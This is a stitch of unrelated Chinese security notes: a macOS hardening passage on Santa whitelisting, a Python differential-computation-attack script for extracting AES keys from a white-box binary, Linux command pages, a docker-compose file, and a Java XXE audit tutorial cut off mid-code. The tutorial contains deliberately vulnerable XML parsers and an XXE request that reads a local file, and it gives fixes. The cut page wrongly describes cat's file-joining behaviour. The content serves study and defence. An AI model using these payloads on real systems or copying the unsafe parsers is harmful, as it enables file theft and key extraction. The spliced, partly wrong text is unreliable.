想要在白名单中添加一个指定的二进制,确定其 SHA-256 值: ``` $ santactl fileinfo /Users/demouser/foo Path : /Users/demouser/foo SHA-256 : 4e11da26feb48231d6e90b10c169b0f8ae1080f36c168ffe53b1616f7505baed SHA-1 : 4506f3a8c0a5abe4cacb98e6267549a4d8734d82 Type : Executable (x86-64) Code-signed : No Rule : Blacklisted (Unknown) ``` 增加一条白名单规则: $ sudo santactl rule --whitelist --sha256 4e11da26feb48231d6e90b10c169b0f8ae1080f36c168ffe53b1616f7505baed Added rule for SHA-256: 4e11da26feb48231d6e90b10c169b0f8ae1080f36c168ffe53b1616f7505baed. 运行它: ``` $ ./foo Hello World ``` 小程序没有被阻止,它成功的运行了。 应用程序也可以通过开发者签名来加到白名单中(这样每次更新应用程序的时候,新版本的二进制文件就不用手动加到白名单中了)。例如,下载运行 Google Chrome , 在 "Lockdown" 模式下 Santa 会阻止它运行: ``` $ curl -sO https://dl.google.com/chrome/mac/stable/GGRO/googlechrome.dmg $ hdiutil mount googlechrome.dmg $ cp -r /Volumes/Google\ Chrome/Google\ Chrome.app /Applications/ $ open /Applications/Google\ Chrome.app/ LSOpenURLsWithRole() failed with error -10810 for the file /Applications/Google Chrome.app. ``` 通过它自己的开发者签名将应用加到白名单中(Signing Chain 中第一项): ``` $ santactl fileinfo /Applications/Google\ Chrome.app/ Path : /Applications/Google Chrome.app/Contents/MacOS/Google Chrome SHA-256 : 0eb08224d427fb1d87d2276d911bbb6c4326ec9f74448a4d9a3cfce0c3413810 SHA-1 : 9213cbc7dfaaf7580f3936a915faa56d40479f6a Bundle Name : Google Chrome Bundle Version : 2883.87 Bundle Version Str : 55.0.2883.87 Type : Executable (x86-64) Code-signed : Yes Rule : Blacklisted (Unknown) Signing Chain: 1. SHA-256 : 15b8ce88e10f04c88a5542234fbdfc1487e9c2f64058a05027c7c34fc4201153 SHA-1 : 85cee8254216185620ddc8851c7a9fc4dfe120ef Common Name : Developer ID Application: Google Inc. Organization : Google Inc. Organizational Unit : EQHXZ8M8AV Valid From : 2012/04/26 07:10:10 -0700 Valid Until : 2017/04/27 07:10:10 -0700 2. SHA-256 : 7afc9d01a62f03a2de9637936d4afe68090d2de18d03f29c88cfb0b1ba63587f SHA-1 : 3b166c3b7dc4b751c9fe2afab9135641e388e186 Common Name : Developer ID Certification Authority Organization : Apple Inc. Organizational Unit : Apple Certification Authority Valid From : 2012/02/01 14:12:15 -0800 Valid Until : 2027/02/01 14:12:15 -0800 3. SHA-256 : b0b1730ecbc7ff4505142c49f1295e6eda6bcaed7e2c68c5be91b5a11001f024 SHA-1 : 611e5b662c593a08ff58d14ae22452d198df6c60 Common Name : Apple Root CA Organization : Apple Inc. Organizational Unit : Apple Certification Authority Valid From : 2006/04/25 14:40:36 -0700 Valid Until : 2035/02/09 13:40:36 -0800 ``` 这个例子中, `15b8ce88e10f04c88a5542234fbdfc1487e9c2f64058a05027c7c34fc4201153` 是 Google’s Apple 开发者证书的 SHA-256 (team ID EQHXZ8M8AV)。 将它加到白名单中: ``` $ sudo santactl rule --whitelist --certificate --sha256 15b8ce88e10f04c88a5542234fbdfc1487e9c2f64058a05027c7c34fc4201153 Added rule for SHA-256: 15b8ce88e10f04c88a5542234fbdfc1487e9c2f64058a05027c7c34fc4201153. ``` Google Chrome 现在应该可以启动了,以后的更新也不会被阻止,除非签名证书修改了或过期了。 关闭 “Lockdown” 模式: $ sudo defaults delete /var/db/santa/config.plist ClientMode 在 `/var/log/santa.log` 可以查看监控器**允许**和**拒绝**执行的决策记录。 [Zentral](https://github.com/zentralopensource/zentral)里有针对 Santa 的一个日志和配置框架,Zentral 是一个开源的事件监控框架和针对osquery 和 Santa 的 TLS 服务器。 Zentral 会在监控和锁定模式支持 Santa。客户端需要建立一个 TLS 连接来同步 Santa 规则。所有来自终端的 Santa 事件会汇总并记录在 Zentral 里。Santa 事件能从 Zentral 框架内部触发行为和通知。 **注意** Python、Bash 和其它解释性语言是在白名单中的(因为它们是由苹果开发者证书签名的),所以 Santa 不会阻止这些脚本的运行。因此,要注意到 Santa 可能无法有效的拦截非二进制程序运行(这不算漏洞,因为它本身就这么设计的)。 ## 其它 如果你想的话,禁用[诊断与用量](https://github.com/fix-macosx/fix-macosx/wiki/Diagnostics-&-Usage-Data). 如果你想播放**音乐**或看**视频**,使用 [VLC 播放器](https://www.videolan.org/vlc/index.html),这是免费且开源的。 如果你想用 **torrents**, 使用免费、开源的 [Transmission](http://www.transmissionbt.com/download/)(注意:所有软件都一样,即使是开源项目,[恶意软件还是可能找到破解的方式](http://researchcenter.paloaltonetworks.com/2016/03/new-os-x-ransomware-keranger-infected-transmission-bittorrent-client-installer/))。你可能希望使用一个块列表来避免和那些已知的坏主机配对,了解下 [Transmission 上最好的块列表](https://giuliomac.wordpress.com/2014/02/19/best-blocklist-for-transmission/) 和 [johntyree/3331662](https://gist.github.com/johntyree/3331662)。 用 [duti](http://duti.org/) 管理默认文件处理,可以通过 `brew install duti` 来安装。管理扩展的原因之一是为了防止远程文件系统在 Finder 中自动挂载。 ([保护自己免受 Sparkle 后门影响](https://www.taoeffect.com/blog/2016/02/apologies-sky-kinda-falling-protecting-yourself-from-sparklegate/))。这里有几个推荐的管理指令: ``` $ duti -s com.apple.Safari afp $ duti -s com.apple.Safari ftp $ duti -s com.apple.Safari nfs $ duti -s com.apple.Safari smb ``` 使用**控制台**应用程序来监控系统日志,也可以用 `syslog -w` 或 `log stream` 命令。 在 macOS Sierra (10.12) 之前的系统,在 `/etc/sudoers`启用 [tty_tickets flag](https://derflounder.wordpress.com/2016/09/21/tty_tickets-option-now-on-by-default-for-macos-sierras-sudo-tool/) 来阻止 sudo 会话在其它终端生效。使用命令 `sudo visudo` 然后添加一行 `Defaults tty_tickets` 就可以了。 设置进入休眠状态时马上启动屏幕保护程序: $ defaults write com.apple.screensaver askForPassword -int 1 $ defaults write com.apple.screensaver askForPasswordDelay -int 0 在 Finder 中显示隐藏文件和文件夹: $ defaults write com.apple.finder AppleShowAllFiles -bool true $ chflags nohidden ~/Library 显示所有文件扩展名(这样 "Evil.jpg.app" 就无法轻易伪装了)。 $ defaults write NSGlobalDomain AppleShowAllExtensions -bool true 不要默认将文档保存到 iCloud: $ defaults write NSGlobalDomain NSDocumentSaveNewDocumentsToCloud -bool false 在终端启用[安全键盘输入](https://security.stackexchange.com/questions/47749/how-secure-is-secure-keyboard-entry-in-mac-os-xs-terminal)(除非你用 [YubiKey](https://mig5.net/content/secure-keyboard-entry-os-x-blocks-interaction-yubikeys) 或者像 [TextExpander](https://smilesoftware.com/textexpander/secureinput) 这样的程序)。 禁用崩溃报告(就是那个在程序崩溃后,会出现提示将问题报告给苹果的提示框): $ defaults write com.apple.CrashReporter DialogType none 禁用 Bonjour [多播广告](https://www.trustwave.com/Resources/SpiderLabs-Blog/mDNS---Telling-the-world-about-you-(and-your-device)/): $ sudo defaults write /Library/Preferences/com.apple.mDNSResponder.plist NoMulticastAdvertisements -bool YES 如果用不上的话,[禁用 Handoff](https://apple.stackexchange.com/questions/151481/why-is-my-macbook-visibile-on-bluetooth-after-yosemite-install) 和蓝牙功能。 考虑 [sandboxing](https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/man1/sandbox-exec.1.html) 你的应用程序。 了解下 [fG! Sandbox Guide](https://reverse.put.as/wp-content/uploads/2011/09/Apple-Sandbox-Guide-v0.1.pdf) (pdf) 和 [s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles)。 你知道苹果公司自 [2006](http://osxbook.com/book/bonus/chapter10/tpm/) 后就不再出售带 TPM 的电脑了吗? ## 相关软件 [Santa](https://github.com/google/santa/) - macOS 上一个带二进制白名单/黑名单监控系统的软件。 [kristovatlas/osx-config-check](https://github.com/kristovatlas/osx-config-check) - 检查你的 OSX 设备各种硬件配置设置。 [Lockdown](https://objective-see.com/products/lockdown.html) - 审查和修正安全配置。 [Dylib Hijack Scanner](https://objective-see.com/products/dhs.html) - 扫描那些容易被劫持或已经被黑的应用。 [Little Flocker](https://www.littleflocker.com/) - "Little Snitch for files", 防止应用程序访问文件。 [facebook/osquery](https://github.com/facebook/osquery) - 可以检索系统底层信息。用户可以编写 SQL 来查询系统信息。 [google/grr](https://github.com/google/grr) - 事件响应框架侧重于远程现场取证。 [yelp/osxcollector](https://github.com/yelp/osxcollector) - 证据收集 & OS X 分析工具包。 [jipegit/OSXAuditor](https://github.com/jipegit/OSXAuditor) - 分析运行系统时的部件,比如隔离的文件, Safari、 Chrome 和 Firefox 历史记录, 下载,HTML5 数据库和本地存储、社交媒体、电子邮件帐户、和 Wi-Fi 接入点的名称。 [libyal/libfvde](https://github.com/libyal/libfvde) - 访问 FileVault Drive Encryption (FVDE) (或 FileVault2) 加密卷的库。 [CISOfy/lynis](https://github.com/CISOfy/lynis) - 跨平台安全审计工具,并协助合规性测试和系统强化。 [Zentral](https://github.com/zentralopensource/zentral)- 一个针对 santa 和 osquery 的日志和配置框架。在盘点、事件 日志文件,结合时点的提醒上运行排查和探测。一个完整的框架和 Django web 服务器搭建在 elastic stack(通常叫 ELK stack)基础上。 ## 其它资源 **排名不分先后** [MacOS Hardening Guide - Appendix of \*OS Internals: Volume III - Security & Insecurity Internals](http://newosxbook.com/files/moxii3/AppendixA.pdf) (pdf) [Mac Developer Library: Secure Coding Guide](https://developer.apple.com/library/mac/documentation/Security/Conceptual/SecureCodingGuide/Introduction.html) [OS X Core Technologies Overview White Paper](https://www.apple.com/osx/all-features/pdf/osx_elcapitan_core_technologies_overview.pdf) (pdf) [Reverse Engineering Mac OS X blog](https://reverse.put.as/) [Reverse Engineering Resources](http://samdmarshall.com/re.html) [Patrick Wardle's Objective-See blog](https://objective-see.com/blog.html) [Managing Macs at Google Scale (LISA '13)](https://www.usenix.org/conference/lisa13/managing-macs-google-scale) [OS X Hardening: Securing a Large Global Mac Fleet (LISA '13)](https://www.usenix.org/conference/lisa13/os-x-hardening-securing-large-global-mac-fleet) [DoD Security Technical Implementation Guides for Mac OS](http://iase.disa.mil/stigs/os/mac/Pages/mac-os.aspx) [The EFI boot process](http://homepage.ntlworld.com/jonathan.deboynepollard/FGA/efi-boot-process.html) [The Intel Mac boot process](http://refit.sourceforge.net/info/boot_process.html) [Userland Persistence on Mac OS X](https://archive.org/details/joshpitts_shmoocon2015) [Developing Mac OSX kernel rootkits](http://phrack.org/issues/66/16.html#article) [IOKit kernel code execution exploit](https://code.google.com/p/google-security-research/issues/detail?id=135) [Hidden backdoor API to root privileges in Apple OS X](https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/) [IPv6 Hardening Guide for OS X](http://www.insinuator.net/2015/02/ipv6-hardening-guide-for-os-x/) [Harden the World: Mac OSX 10.11 El Capitan](http://docs.hardentheworld.org/OS/OSX_10.11_El_Capitan/) [Hacker News discussion](https://news.ycombinator.com/item?id=10148077) [Hacker News discussion 2](https://news.ycombinator.com/item?id=13023823) [Apple Open Source](https://opensource.apple.com/) [OS X 10.10 Yosemite: The Ars Technica Review](http://arstechnica.com/apple/2014/10/os-x-10-10/) [CIS Apple OSX 10.10 Benchmark](https://benchmarks.cisecurity.org/tools2/osx/CIS_Apple_OSX_10.10_Benchmark_v1.1.0.pdf) (pdf) [How to Switch to the Mac](https://taoofmac.com/space/HOWTO/Switch) [Security Configuration For Mac OS X Version 10.6 Snow Leopard](http://www.apple.com/support/security/guides/docs/SnowLeopard_Security_Config_v10.6.pdf) (pdf) [EFF Surveillance Self-Defense Guide](https://ssd.eff.org/) [MacAdmins on Slack](https://macadmins.herokuapp.com/) [iCloud security and privacy overview](http://support.apple.com/kb/HT4865) [Demystifying the DMG File Format](http://newosxbook.com/DMG.html) [There's a lot of vulnerable OS X applications out there (Sparkle Framework RCE)](https://vulnsec.com/2016/osx-apps-vulnerabilities/) [iSeeYou: Disabling the MacBook Webcam Indicator LED](https://jscholarship.library.jhu.edu/handle/1774.2/36569) [Mac OS X Forensics - Technical Report](https://www.ma.rhul.ac.uk/static/techrep/2015/RHUL-MA-2015-8.pdf) (pdf) [Mac Forensics: Mac OS X and the HFS+ File System](https://cet4861.pbworks.com/w/file/fetch/71245694/mac.forensics.craiger-burke.IFIP.06.pdf) (pdf) [Extracting FileVault 2 Keys with Volatility](https://tribalchicken.com.au/security/extracting-filevault-2-keys-with-volatility/) [Auditing and Exploiting Apple IPC](https://googleprojectzero.blogspot.com/2015/09/revisiting-apple-ipc-1-distributed_28.html) [Mac OS X and iOS Internals: To the Apple's Core by Jonathan Levin](https://www.amazon.com/Mac-OS-iOS-Internals-Apples/dp/1118057651) [Demystifying the i-Device NVMe NAND (New storage used by Apple)](http://ramtin-amin.fr/#nvmepcie)
sec-knowleage
#!/usr/bin/env python import sys from deadpool_dca import * def processinput(iblock, blocksize): p='%0*x' % (2*blocksize, iblock) f=open("/tmp/xd", "wb") f.write(p.decode("hex")) f.close() return ["--stdin </tmp/xd"] def processoutput(output, blocksize): o=output.replace(" ","") return int(o, 16) return int(''.join([x for x in output.split('\n') if x.find('OUTPUT')==0][0][10:].split(' ')), 16) T=TracerPIN('./whitebox', processinput, processoutput, ARCH.amd64, 16, shell=True) T.run(2000) bin2daredevil(configs={'attack_sbox': {'algorithm':'AES', 'position':'LUT/AES_AFTER_SBOX'}, 'attack_multinv':{'algorithm':'AES', 'position':'LUT/AES_AFTER_MULTINV'}})
sec-knowleage
cut === 连接文件并打印到标准输出设备上 ## 补充说明 **cut 命令** 用来显示行中的指定部分,删除文件中指定字段。cut 经常用来显示文件的内容,类似于 type 命令。 说明:该命令有两项功能,其一是用来显示文件的内容,它依次读取由参数 file 所指 明的文件,将它们的内容输出到标准输出上;其二是连接两个或多个文件,如`cut fl f2 > f3`将把文件 fl 和 f2 的内容合并起来,然后通过输出重定向符“>”的作用,将它们放入文件 f3 中。 当文件较大时,文本在屏幕上迅速闪过(滚屏),用户往往看不清所显示的内容。因此,一般用 more 等命令分屏显示。为了控制滚屏,可以按 Ctrl+S 键,停止滚屏;按 Ctrl+Q 键可以恢复滚屏。按 Ctrl+C(中断)键可以终止该命令的执行,并且返回 Shell 提示符状态。 ### 语法 ```shell cut(选项)(参数) ``` ### 选项 ```shell -b:仅显示行中指定直接范围的内容; -c:仅显示行中指定范围的字符; -d:指定字段的分隔符,默认的字段分隔符为“TAB”; -f:显示指定字段的内容; -n:与“-b”选项连用,不分割多字节字符; --complement:补足被选择的字节、字符或字段; --out-delimiter= 字段分隔符:指定输出内容是的字段分割符; --help:显示指令的帮助信息; --version:显示指令的版本信息。 ``` ### 参数 文件:指定要进行内容过滤的文件。 ### 实例 例如有一个学生报表信息,包含 No、Name、Mark、Percent: ```shell [root@localhost text]# cat test.txt No Name Mark Percent 01 tom 69 91 02 jack 71 87 03 alex 68 98 ``` 使用 **-f** 选项提取指定字段(这里的 f 参数可以简单记忆为 `--fields`的缩写): ```shell [root@localhost text]# cut -f 1 test.txt No 01 02 03 ``` ```shell [root@localhost text]# cut -f2,3 test.txt Name Mark tom 69 jack 71 alex 68 ``` **--complement** 选项提取指定字段之外的列(打印除了第二列之外的列): ```shell [root@localhost text]# cut -f2 --complement test.txt No Mark Percent 01 69 91 02 71 87 03 68 98 ``` 使用 **-d** 选项指定字段分隔符: ```shell [root@localhost text]# cat test2.txt No;Name;Mark;Percent 01;tom;69;91 02;jack;71;87 03;alex;68;98 ``` ```shell [root@localhost text]# cut -f2 -d";" test2.txt Name tom jack alex ``` ### 指定字段的字符或者字节范围 cut 命令可以将一串字符作为列来显示,字符字段的记法: * **N-** :从第 N 个字节、字符、字段到结尾; * **N-M** :从第 N 个字节、字符、字段到第 M 个(包括 M 在内)字节、字符、字段; * **-M** :从第 1 个字节、字符、字段到第 M 个(包括 M 在内)字节、字符、字段。 上面是记法,结合下面选项将摸个范围的字节、字符指定为字段: * **-b** 表示字节; * **-c** 表示字符; * **-f** 表示定义字段。 **示例** ```shell [root@localhost text]# cat test.txt abcdefghijklmnopqrstuvwxyz abcdefghijklmnopqrstuvwxyz abcdefghijklmnopqrstuvwxyz abcdefghijklmnopqrstuvwxyz abcdefghijklmnopqrstuvwxyz ``` 打印第 1 个到第 3 个字符: ```shell [root@localhost text]# cut -c1-3 test.txt abc abc abc abc abc ``` 打印前 2 个字符: ```shell [root@localhost text]# cut -c-2 test.txt ab ab ab ab ab ``` 打印从第 5 个字符开始到结尾: ```shell [root@localhost text]# cut -c5- test.txt efghijklmnopqrstuvwxyz efghijklmnopqrstuvwxyz efghijklmnopqrstuvwxyz efghijklmnopqrstuvwxyz efghijklmnopqrstuvwxyz ``` 打印最后5个字符: 遗憾的是, `cut`并没有提供最后字符的支持. 不过我们可以通过字符串反转来实现. ```shell [root@localhost text]# cat test.txt| rev | cut -c -5 | rev vwxyz vwxyz vwxyz vwxyz vwxyz ``` <!-- Linux 命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
sec-knowleage
version: '2' services: flask: build: . command: -w 4 -b :8000 -u www-data -g www-data --access-logfile - app:app volumes: - .:/app ports: - "8000:8000"
sec-knowleage
source === 在当前Shell环境中从指定文件读取和执行命令。 ### 概要 source filename [arguments] ### 主要用途 - 执行文件并从文件中加载变量及函数到执行环境 #### 参数 filename:要执行的文件 arguments(可选):传递给文件的参数 #### 返回值 source返回文件最后一个命令的返回值,如果文件不能读取则会失败 #### 错误用法 - 文件在`$PATH`中找不到。 - 文件未给出。 ### 例子 - 在一些工具的执行过程中,会把环境变量设置以"export XXX=XXXXXX"或"declare XXX=XXXXXX"的形式导出到 一个文件中,然后用source加载该文件内容到执行环境中。 - 读取和执行/root/.bash_profile文件。 ```shell [root@localhost ~]# source ~/.bash_profile ``` ### Q&A Q:`source`和`sh`在执行文件方面有什么区别? A:`sh`的执行是在子shell中,`source`会使得被执行文件的变量及函数加载进当前终端环境内(除去函数内local修饰的变量等);建议您参考`export`命令的 **知识点** 部分 ### 注意 1. 该命令是bash内建命令,相关的帮助信息请查看 `help` 命令。
sec-knowleage
whereis === 查找二进制程序、代码等相关文件路径 ## 补充说明 **whereis命令** 用来定位指令的二进制程序、源代码文件和man手册页等相关文件的路径。 whereis命令只能用于程序名的搜索,而且只搜索二进制文件(参数-b)、man说明文件(参数-m)和源代码文件(参数-s)。如果省略参数,则返回所有信息。 和find相比,whereis查找的速度非常快,这是因为linux系统会将 系统内的所有文件都记录在一个数据库文件中,当使用whereis和下面即将介绍的locate时,会从数据库中查找数据,而不是像find命令那样,通 过遍历硬盘来查找,效率自然会很高。 但是该数据库文件并不是实时更新,默认情况下时一星期更新一次,因此,我们在用whereis和locate 查找文件时,有时会找到已经被删除的数据,或者刚刚建立文件,却无法查找到,原因就是因为数据库文件没有被更新。 ### 语法 ```shell whereis(选项)(参数) ``` ### 选项 ```shell -b:只查找二进制文件; -B<目录>:只在设置的目录下查找二进制文件; -f:不显示文件名前的路径名称; -m:只查找说明文件; -M<目录>:只在设置的目录下查找说明文件; -s:只查找原始代码文件; -S<目录>只在设置的目录下查找原始代码文件; -u:查找不包含指定类型的文件。 ``` ### 参数 指令名:要查找的二进制程序、源文件和man手册页的指令名。 ### 实例 将相关的文件都查找出来 ```shell [root@localhost ~]# whereis tomcat tomcat: [root@localhost ~]# whereis svn svn: /usr/bin/svn /usr/local/svn /usr/share/man/man1/svn.1.gz ``` 说明:tomcat没安装,找不出来,svn安装找出了很多相关文件 只将二进制文件查找出来  ```shell [root@localhost ~]# whereis -b svn svn: /usr/bin/svn /usr/local/svn [root@localhost ~]# whereis -m svn svn: /usr/share/man/man1/svn.1.gz [root@localhost ~]# whereis -s svn svn: ``` 说明:`whereis -m svn`查出说明文档路径,`whereis -s svn`找source源文件。
sec-knowleage
# XXE ## SAX > Java SAX(Simple API for XML)库是一种处理XML(eXtensible Markup Language)文档的标准Java API。SAX库是一种事件驱动的XML解析器,它使用基于事件的回调机制来解析XML文档。在解析过程中,SAX解析器会将XML文档中的每个元素解析成一个事件,并在解析到每个事件时触发相应的回调方法。 > > 下面是SAX库的一些详细说明: > > 1. SAX库是基于Java的标准API,因此它可以与任何Java程序一起使用。 > 2. SAX库提供了一个处理XML文档的API,可以让开发者从XML文档中获取数据并进行处理。 > 3. SAX库是一种轻量级的解析器,它不需要将整个XML文档读入内存,因此可以处理非常大的XML文档。 > 4. SAX库使用事件驱动的回调机制,这意味着开发者可以在解析XML文档时指定一些回调方法,以便在解析到特定事件时触发这些回调方法。 > 5. SAX库提供了一组默认的回调方法,但也可以通过继承默认处理程序类并覆盖其方法来自定义回调方法。 > 6. SAX库可以解析XML文档的所有部分,包括元素、属性、注释和处理指令等。 > 7. SAX库还提供了一些辅助类和方法,用于简化XML解析过程和处理解析后的数据。 #### SAXParserFactory 这个代码可以回显 "XXE" 字符串,但并不能回显解释内容。在 `parseXml` 方法中,首先创建了一个 `SAXParserFactory` 实例,然后使用该工厂创建了一个 `SAXParser` 对象。接着,该方法通过 `parser.parse` 方法解析传递进来的 `xmlData` 字符串,解析过程中不会输出任何内容。 {% code title="XxeController.java" %} ```java package com.example.controller; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; import org.xml.sax.helpers.DefaultHandler; import org.xml.sax.InputSource; import javax.xml.parsers.SAXParserFactory; import javax.xml.parsers.SAXParser; import java.io.StringReader; @RestController public class XxeController { @PostMapping("/parseXml") public String parseXml(@RequestBody String xmlData) throws Exception { SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); parser.parse(new InputSource(new StringReader(xmlData)), new DefaultHandler()); return "XXE"; } } ``` {% endcode %} 要让这段代码回显内容,可以在`DefaultHandler`的回调方法中添加处理逻辑。在处理XML时,`DefaultHandler`提供了一些回调方法,我们可以在这些方法中处理我们感兴趣的内容。例如,我们可以重写`DefaultHandler`的`characters`方法,当读取到XML文档中的字符数据时,就将其输出到控制台或者返回给调用方。 以下是修改后的代码示例,当读取到XML文档中的字符数据时,会将其输出到控制台: {% code title="MyHandler.java" %} ```java package com.example.controller; import org.xml.sax.SAXException; import org.xml.sax.helpers.DefaultHandler; public class MyHandler extends DefaultHandler { private StringBuilder builder = new StringBuilder(); @Override public void characters(char[] ch, int start, int length) throws SAXException { builder.append(ch, start, length); System.out.println("读取到的内容:" + builder.toString()); } } ``` {% endcode %} {% code title="XxeController.java" %} ```java package com.example.controller; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; import org.xml.sax.InputSource; import javax.xml.parsers.SAXParserFactory; import javax.xml.parsers.SAXParser; import java.io.StringReader; @RestController public class XxeController { @PostMapping("/parseXml") public String parseXml(@RequestBody String xmlData) throws Exception { SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); MyHandler handler = new MyHandler(); parser.parse(new InputSource(new StringReader(xmlData)), handler); return "XXE"; } } ``` {% endcode %} {% code title="payload " %} ``` POST /parseXml HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 125 <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///C:/1.log" >]> <foo>&xxe;</foo> ``` {% endcode %} ![image-20230308140851872](../../.gitbook/assets/image-20230308140851872.png) **修复代码** ```java SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); ``` 如果攻击会提示不允许使用`DOCTYPE` ![image-20230308141547017](../../.gitbook/assets/image-20230308141547017.png) #### XMLReaderFactory 从Java SE 9开始,`XMLReaderFactory.createXMLReader()`方法已被标记为弃用,推荐使用`SAXParser`来创建`XMLReader`对象。因此,在Java SE 9及更高版本中,您将无法使用`XMLReaderFactory.createXMLReader()`方法来创建XMLReader对象。 在Java SE 8及更早版本中,`XMLReaderFactory.createXMLReader()`方法是可用的,但存在XXE漏洞,因此不建议使用它来解析未知来源的XML文件。如果您仍然需要使用这个方法,请确保您使用的是最新的Java SE 8版本,并仅在解析已知安全的XML文件时使用它。 ```java package com.example.controller; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; import org.xml.sax.InputSource; import org.xml.sax.XMLReader; import org.xml.sax.helpers.XMLReaderFactory; import java.io.StringReader; @RestController public class XxeController { @PostMapping("/parseXml") public String parseXml(@RequestBody String xmlData) throws Exception { XMLReader xmlReader = XMLReaderFactory.createXMLReader(); xmlReader.parse(new InputSource(new StringReader(xmlData))); return "XXE"; } } ``` **修复代码** ```java xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false); xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); ``` ## jdom2 > Java JDOM2库是一个基于Java的XML解析和操作库,它提供了一种更加面向对象和易于使用的API来处理XML文档。相对于SAX库和DOM库,JDOM2库在易用性和可读性方面都有很大优势,同时也提供了一些高级特性,如命名空间支持、XPath查询、XML Schema验证等。 > > 下面是JDOM2库的一些详细说明: > > 1. JDOM2库是基于Java的标准API,因此可以与任何Java程序一起使用。 > 2. JDOM2库提供了一种面向对象的API,开发者可以通过创建XML元素和属性对象来构建XML文档。 > 3. JDOM2库提供了一些高级特性,如命名空间支持、XPath查询、XML Schema验证等。 > 4. JDOM2库可以将XML文档加载到内存中,并以树形结构表示。开发者可以使用节点对象来遍历和修改XML文档。 > 5. JDOM2库支持将XML文档序列化为字符串、文件或流,并提供了一些选项来控制输出格式。 > 6. JDOM2库支持解析和生成所有类型的XML文档,包括DTD、XML Schema等。 > 7. JDOM2库还提供了一些辅助类和方法,用于简化XML解析过程和处理解析后的数据。 该方法使用了JDOM2的SAXBuilder来解析这个XML字符串,并将其转换为JDOM2的Document对象。然后,它对这个Document对象进行操作,例如读取或修改XML元素。 由于这个方法使用了SAXBuilder,它存在XXE漏洞。攻击者可以在XML数据中包含外部实体,从而读取敏感文件或进行其他恶意操作。 {% code title="XxeController.java" %} ```java package com.example.controller; import org.jdom2.Document; import org.jdom2.input.sax.XMLReaders; import org.jdom2.output.Format; import org.jdom2.output.XMLOutputter; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; import java.io.StringReader; import org.jdom2.input.SAXBuilder; @RestController public class XxeController { @PostMapping("/parseXml") public String parseXml(@RequestBody String xmlData) throws Exception { SAXBuilder saxBuilder = new SAXBuilder(XMLReaders.NONVALIDATING); Document document = saxBuilder.build(new StringReader(xmlData)); // 对文档进行操作 XMLOutputter outputter = new XMLOutputter(Format.getPrettyFormat()); String xmlString = outputter.outputString(document); System.out.println(xmlString); return "XXE"; } } ``` {% endcode %} ![image-20230308144743427](../../.gitbook/assets/image-20230308144743427.png) **修复代码** ```java saxBuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); saxBuilder.setFeature("http://xml.org/sax/features/external-general-entities", false); saxBuilder.setFeature("http://xml.org/sax/features/external-parameter-entities", false); ``` ## dom4j > Java DOM4J库是一个基于Java的XML解析和操作库,它提供了一种高性能、灵活、易于使用的API来处理XML文档。相对于SAX库和DOM库,DOM4J库在易用性和性能方面都有很大优势,同时也提供了一些高级特性,如XPath查询、XML Schema验证等。 > > 下面是DOM4J库的一些详细说明: > > 1. DOM4J库是基于Java的标准API,因此可以与任何Java程序一起使用。 > 2. DOM4J库提供了一种高性能的API,开发者可以通过创建XML元素和属性对象来构建XML文档。 > 3. DOM4J库提供了一些高级特性,如XPath查询、XML Schema验证等。 > 4. DOM4J库可以将XML文档加载到内存中,并以树形结构表示。开发者可以使用节点对象来遍历和修改XML文档。 > 5. DOM4J库支持将XML文档序列化为字符串、文件或流,并提供了一些选项来控制输出格式。 > 6. DOM4J库支持解析和生成所有类型的XML文档,包括DTD、XML Schema等。 > 7. ### SAXReader 该方法使用了SAXReader来解析这个XML字符串,并将其转换为Dom4j的Document对象。然后,它将Document对象转换为格式化的XML字符串,并使用`System.out.println()`方法将其输出到控制台上。 由于这个方法使用了SAXReader,它存在XXE漏洞。攻击者可以在XML数据中包含外部实体,从而读取敏感文件或进行其他恶意操作。 {% code title="XxeController.java" %} ```java package com.example.controller; import org.dom4j.Document; import org.dom4j.io.SAXReader; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; import java.io.StringReader; @RestController public class XxeController { @PostMapping("/parseXml") public String parseXml(@RequestBody String xmlData) throws Exception { SAXReader reader = new SAXReader(); Document document = reader.read(new StringReader(xmlData)); String xmlString = document.asXML(); System.out.println(xmlString); return "XXE"; } } ``` {% endcode %} ![image-20230308145741578](../../.gitbook/assets/image-20230308145741578.png) **修复代码** ```java reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); reader.setFeature("http://xml.org/sax/features/external-general-entities", false); reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); ``` ### DocumentHelper {% code title="XxeController.java" %} ```java package com.example.controller; import org.dom4j.Document; import org.dom4j.DocumentHelper; import 